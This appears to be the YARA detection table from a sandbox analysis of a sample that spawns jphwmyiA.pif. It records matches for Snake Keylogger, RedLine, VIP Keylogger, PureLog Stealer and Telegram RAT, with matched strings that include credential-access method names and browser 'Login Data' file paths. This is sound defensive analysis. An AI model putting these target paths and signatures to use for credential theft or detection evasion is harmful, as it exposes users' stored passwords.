0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x80148:$a1: get_encryptedPassword 0x8011c:$a2: get_encryptedUsername 0x801e0:$a3: get_timePasswordChanged 0x800f8:$a4: get_passwordField 0x8015e:$a5: set_encryptedPassword 0x7ff2b:$a7: get_logins 0x7b578:$a10: KeyLoggerEventArgs 0x7b547:$a11: KeyLoggerEventArgsEventHandler 0x7ffff:$a13: _encryptedPassword
0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3e882:$a1: get_encryptedPassword 0x3e856:$a2: get_encryptedUsername 0x3e91a:$a3: get_timePasswordChanged 0x3e832:$a4: get_passwordField 0x3e898:$a5: set_encryptedPassword 0x3e665:$a7: get_logins 0x39cb2:$a10: KeyLoggerEventArgs 0x39c81:$a11: KeyLoggerEventArgsEventHandler 0x3e739:$a13: _encryptedPassword
0000000A.00000001.2128731771.0000000000400000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x49986:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x49029:$a3: \Google\Chrome\User Data\Default\Login Data 0x49286:$a4: \Orbitum\User Data\Default\Login Data 0x49c65:$a5: \Kometa\User Data\Default\Login Data
0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3c42a:$s1: UnHook 0x3c3c6:$s2: SetHook 0x3c3ff:$s3: CallNextHook 0x3c38e:$s4: _hook
0000000F.00000002.3760427867.000000001D271000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.3760427867.000000001D271000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000013.00000002.3731782871.0000000000B90000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3e882:$a1: get_encryptedPassword 0x3e856:$a2: get_encryptedUsername 0x3e91a:$a3: get_timePasswordChanged 0x3e832:$a4: get_passwordField 0x3e898:$a5: set_encryptedPassword 0x3e665:$a7: get_logins 0x39cb2:$a10: KeyLoggerEventArgs 0x39c81:$a11: KeyLoggerEventArgsEventHandler 0x3e739:$a13: _encryptedPassword
0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x49986:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x49029:$a3: \Google\Chrome\User Data\Default\Login Data 0x49286:$a4: \Orbitum\User Data\Default\Login Data 0x49c65:$a5: \Kometa\User Data\Default\Login Data
0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3c42a:$s1: UnHook 0x3c3c6:$s2: SetHook 0x3c3ff:$s3: CallNextHook 0x3c38e:$s4: _hook
0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3f76a:$a1: get_encryptedPassword 0x3f73e:$a2: get_encryptedUsername 0x3f802:$a3: get_timePasswordChanged 0x3f71a:$a4: get_passwordField 0x3f780:$a5: set_encryptedPassword 0x3f54d:$a7: get_logins 0x3ab9a:$a10: KeyLoggerEventArgs 0x3ab69:$a11: KeyLoggerEventArgsEventHandler 0x3f621:$a13: _encryptedPassword
0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x4a86e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x49f11:$a3: \Google\Chrome\User Data\Default\Login Data 0x4a16e:$a4: \Orbitum\User Data\Default\Login Data 0x4ab4d:$a5: \Kometa\User Data\Default\Login Data
0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3d312:$s1: UnHook 0x3d2ae:$s2: SetHook 0x3d2e7:$s3: CallNextHook 0x3d276:$s4: _hook
00000013.00000002.3759044555.00000000227E1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000A.00000002.3759975786.0000000021121000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: jphwmyiA.pif PID: 7208	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: jphwmyiA.pif PID: 7208	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: jphwmyiA.pif PID: 7208	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: jphwmyiA.pif PID: 7208	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: jphwmyiA.pif PID: 7208	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x168b32:$a1: get_encryptedPassword 0x179b65:$a1: get_encryptedPassword 0x242ced:$a1: get_encryptedPassword 0x27ac47:$a1: get_encryptedPassword 0x168b06:$a2: get_encryptedUsername 0x179b39:$a2: get_encryptedUsername 0x242cc1:$a2: get_encryptedUsername 0x27ac1b:$a2: get_encryptedUsername 0x168bca:$a3: get_timePasswordChanged 0x179bfd:$a3: get_timePasswordChanged 0x242d85:$a3: get_timePasswordChanged 0x27acdf:$a3: get_timePasswordChanged 0x168ae2:$a4: get_passwordField 0x179b15:$a4: get_passwordField 0x242c9d:$a4: get_passwordField 0x27abf7:$a4: get_passwordField 0x168b48:$a5: set_encryptedPassword 0x179b7b:$a5: set_encryptedPassword 0x242d03:$a5: set_encryptedPassword 0x27ac5d:$a5: set_encryptedPassword 0x16891e:$a7: get_logins
Process Memory Space: jphwmyiA.pif PID: 7820	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: jphwmyiA.pif PID: 7820	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: jphwmyiA.pif PID: 7820	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: jphwmyiA.pif PID: 7820	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: jphwmyiA.pif PID: 7820	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x444a5:$a1: get_encryptedPassword 0x1a46ad:$a1: get_encryptedPassword 0x22380a:$a1: get_encryptedPassword 0x271107:$a1: get_encryptedPassword 0x44479:$a2: get_encryptedUsername 0x1a4681:$a2: get_encryptedUsername 0x2237de:$a2: get_encryptedUsername 0x2710db:$a2: get_encryptedUsername 0x4453d:$a3: get_timePasswordChanged 0x1a4745:$a3: get_timePasswordChanged 0x2238a2:$a3: get_timePasswordChanged 0x27119f:$a3: get_timePasswordChanged 0x44455:$a4: get_passwordField 0x1a465d:$a4: get_passwordField 0x2237ba:$a4: get_passwordField 0x2710b7:$a4: get_passwordField 0x444bb:$a5: set_encryptedPassword 0x1a46c3:$a5: set_encryptedPassword 0x223820:$a5: set_encryptedPassword 0x27111d:$a5: set_encryptedPassword 0x44291:$a7: get_logins
Process Memory Space: jphwmyiA.pif PID: 8016	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: jphwmyiA.pif PID: 8016	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: jphwmyiA.pif PID: 8016	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: jphwmyiA.pif PID: 8016	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: jphwmyiA.pif PID: 8016	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x80bc:$a1: get_encryptedPassword 0x4ba6a:$a1: get_encryptedPassword 0x8bc2a:$a1: get_encryptedPassword 0xefb38:$a1: get_encryptedPassword 0x8090:$a2: get_encryptedUsername 0x4ba3e:$a2: get_encryptedUsername 0x8bbfe:$a2: get_encryptedUsername 0xefb0c:$a2: get_encryptedUsername 0x8154:$a3: get_timePasswordChanged 0x4bb02:$a3: get_timePasswordChanged 0x8bcc2:$a3: get_timePasswordChanged 0xefbd0:$a3: get_timePasswordChanged 0x806c:$a4: get_passwordField 0x4ba1a:$a4: get_passwordField 0x8bbda:$a4: get_passwordField 0xefae8:$a4: get_passwordField 0x80d2:$a5: set_encryptedPassword 0x4ba80:$a5: set_encryptedPassword 0x8bc40:$a5: set_encryptedPassword 0xefb4e:$a5: set_encryptedPassword 0x7ea8:$a7: get_logins
Click to see the 118 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
10.2.jphwmyiA.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
19.1.jphwmyiA.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
19.2.jphwmyiA.pif.22770ee8.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
19.2.jphwmyiA.pif.22770ee8.5.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
19.2.jphwmyiA.pif.22770ee8.5.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
19.2.jphwmyiA.pif.22770ee8.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.2.jphwmyiA.pif.22770ee8.5.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3ca82:$a1: get_encryptedPassword 0x3ca56:$a2: get_encryptedUsername 0x3cb1a:$a3: get_timePasswordChanged 0x3ca32:$a4: get_passwordField 0x3ca98:$a5: set_encryptedPassword 0x3c865:$a7: get_logins 0x37eb2:$a10: KeyLoggerEventArgs 0x37e81:$a11: KeyLoggerEventArgsEventHandler 0x3c939:$a13: _encryptedPassword
19.2.jphwmyiA.pif.22770ee8.5.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x47b86:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x47229:$a3: \Google\Chrome\User Data\Default\Login Data 0x47486:$a4: \Orbitum\User Data\Default\Login Data 0x47e65:$a5: \Kometa\User Data\Default\Login Data
19.2.jphwmyiA.pif.22770ee8.5.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3a62a:$s1: UnHook 0x3a5c6:$s2: SetHook 0x3a5ff:$s3: CallNextHook 0x3a58e:$s4: _hook
10.2.jphwmyiA.pif.23600ee8.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.jphwmyiA.pif.23600ee8.4.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
10.2.jphwmyiA.pif.23600ee8.4.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.2.jphwmyiA.pif.23600ee8.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
10.2.jphwmyiA.pif.23600ee8.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3ca82:$a1: get_encryptedPassword 0x3ca56:$a2: get_encryptedUsername 0x3cb1a:$a3: get_timePasswordChanged 0x3ca32:$a4: get_passwordField 0x3ca98:$a5: set_encryptedPassword 0x3c865:$a7: get_logins 0x37eb2:$a10: KeyLoggerEventArgs 0x37e81:$a11: KeyLoggerEventArgsEventHandler 0x3c939:$a13: _encryptedPassword
10.2.jphwmyiA.pif.23600ee8.4.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x47b86:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x47229:$a3: \Google\Chrome\User Data\Default\Login Data 0x47486:$a4: \Orbitum\User Data\Default\Login Data 0x47e65:$a5: \Kometa\User Data\Default\Login Data
10.2.jphwmyiA.pif.23600ee8.4.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3a62a:$s1: UnHook 0x3a5c6:$s2: SetHook 0x3a5ff:$s3: CallNextHook 0x3a58e:$s4: _hook
10.2.jphwmyiA.pif.20d899de.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.jphwmyiA.pif.20d899de.3.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
10.2.jphwmyiA.pif.20d899de.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.2.jphwmyiA.pif.20d899de.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
10.2.jphwmyiA.pif.20d899de.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3d96a:$a1: get_encryptedPassword 0x3d93e:$a2: get_encryptedUsername 0x3da02:$a3: get_timePasswordChanged 0x3d91a:$a4: get_passwordField 0x3d980:$a5: set_encryptedPassword 0x3d74d:$a7: get_logins 0x38d9a:$a10: KeyLoggerEventArgs 0x38d69:$a11: KeyLoggerEventArgsEventHandler 0x3d821:$a13: _encryptedPassword
10.2.jphwmyiA.pif.20d899de.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x48a6e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x48111:$a3: \Google\Chrome\User Data\Default\Login Data 0x4836e:$a4: \Orbitum\User Data\Default\Login Data 0x48d4d:$a5: \Kometa\User Data\Default\Login Data
10.2.jphwmyiA.pif.20d899de.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3b512:$s1: UnHook 0x3b4ae:$s2: SetHook 0x3b4e7:$s3: CallNextHook 0x3b476:$s4: _hook
7.2.brightness.exe.20f65a8.0.raw.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
10.2.jphwmyiA.pif.23600ee8.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.jphwmyiA.pif.23600ee8.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
10.2.jphwmyiA.pif.23600ee8.4.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
10.2.jphwmyiA.pif.23600ee8.4.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.2.jphwmyiA.pif.23600ee8.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
10.2.jphwmyiA.pif.20d899de.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.jphwmyiA.pif.20d899de.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
10.2.jphwmyiA.pif.20d899de.3.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
10.2.jphwmyiA.pif.20d899de.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.2.jphwmyiA.pif.20d899de.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
10.2.jphwmyiA.pif.20d899de.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3f76a:$a1: get_encryptedPassword 0x3f73e:$a2: get_encryptedUsername 0x3f802:$a3: get_timePasswordChanged 0x3f71a:$a4: get_passwordField 0x3f780:$a5: set_encryptedPassword 0x3f54d:$a7: get_logins 0x3ab9a:$a10: KeyLoggerEventArgs 0x3ab69:$a11: KeyLoggerEventArgsEventHandler 0x3f621:$a13: _encryptedPassword
10.2.jphwmyiA.pif.23600000.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.jphwmyiA.pif.23600000.5.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
10.2.jphwmyiA.pif.23600000.5.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
10.2.jphwmyiA.pif.23600000.5.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.2.jphwmyiA.pif.23600000.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
10.2.jphwmyiA.pif.23600000.5.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3f76a:$a1: get_encryptedPassword 0x3f73e:$a2: get_encryptedUsername 0x3f802:$a3: get_timePasswordChanged 0x3f71a:$a4: get_passwordField 0x3f780:$a5: set_encryptedPassword 0x3f54d:$a7: get_logins 0x3ab9a:$a10: KeyLoggerEventArgs 0x3ab69:$a11: KeyLoggerEventArgsEventHandler 0x3f621:$a13: _encryptedPassword
19.2.jphwmyiA.pif.400000.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
15.2.jphwmyiA.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
19.2.jphwmyiA.pif.24c70000.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
19.2.jphwmyiA.pif.24c70000.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
19.2.jphwmyiA.pif.24c70000.6.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
19.2.jphwmyiA.pif.24c70000.6.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
19.2.jphwmyiA.pif.24c70000.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.2.jphwmyiA.pif.24c70000.6.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3e882:$a1: get_encryptedPassword 0x3e856:$a2: get_encryptedUsername 0x3e91a:$a3: get_timePasswordChanged 0x3e832:$a4: get_passwordField 0x3e898:$a5: set_encryptedPassword 0x3e665:$a7: get_logins 0x39cb2:$a10: KeyLoggerEventArgs 0x39c81:$a11: KeyLoggerEventArgsEventHandler 0x3e739:$a13: _encryptedPassword
19.2.jphwmyiA.pif.24c70000.6.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x49986:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x49029:$a3: \Google\Chrome\User Data\Default\Login Data 0x49286:$a4: \Orbitum\User Data\Default\Login Data 0x49c65:$a5: \Kometa\User Data\Default\Login Data
19.2.jphwmyiA.pif.24c70000.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3c42a:$s1: UnHook 0x3c3c6:$s2: SetHook 0x3c3ff:$s3: CallNextHook 0x3c38e:$s4: _hook
15.2.jphwmyiA.pif.1e710ee8.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.jphwmyiA.pif.1e710ee8.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
15.2.jphwmyiA.pif.1e710ee8.4.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
15.2.jphwmyiA.pif.1e710ee8.4.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
15.2.jphwmyiA.pif.1e710ee8.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.jphwmyiA.pif.1e710ee8.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3e882:$a1: get_encryptedPassword 0x3e856:$a2: get_encryptedUsername 0x3e91a:$a3: get_timePasswordChanged 0x3e832:$a4: get_passwordField 0x3e898:$a5: set_encryptedPassword 0x3e665:$a7: get_logins 0x39cb2:$a10: KeyLoggerEventArgs 0x39c81:$a11: KeyLoggerEventArgsEventHandler 0x3e739:$a13: _encryptedPassword
10.2.jphwmyiA.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
19.2.jphwmyiA.pif.225499de.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
19.2.jphwmyiA.pif.225499de.2.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
19.2.jphwmyiA.pif.225499de.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
19.2.jphwmyiA.pif.225499de.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.2.jphwmyiA.pif.225499de.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3d96a:$a1: get_encryptedPassword 0x3d93e:$a2: get_encryptedUsername 0x3da02:$a3: get_timePasswordChanged 0x3d91a:$a4: get_passwordField 0x3d980:$a5: set_encryptedPassword 0x3d74d:$a7: get_logins 0x38d9a:$a10: KeyLoggerEventArgs 0x38d69:$a11: KeyLoggerEventArgsEventHandler 0x3d821:$a13: _encryptedPassword
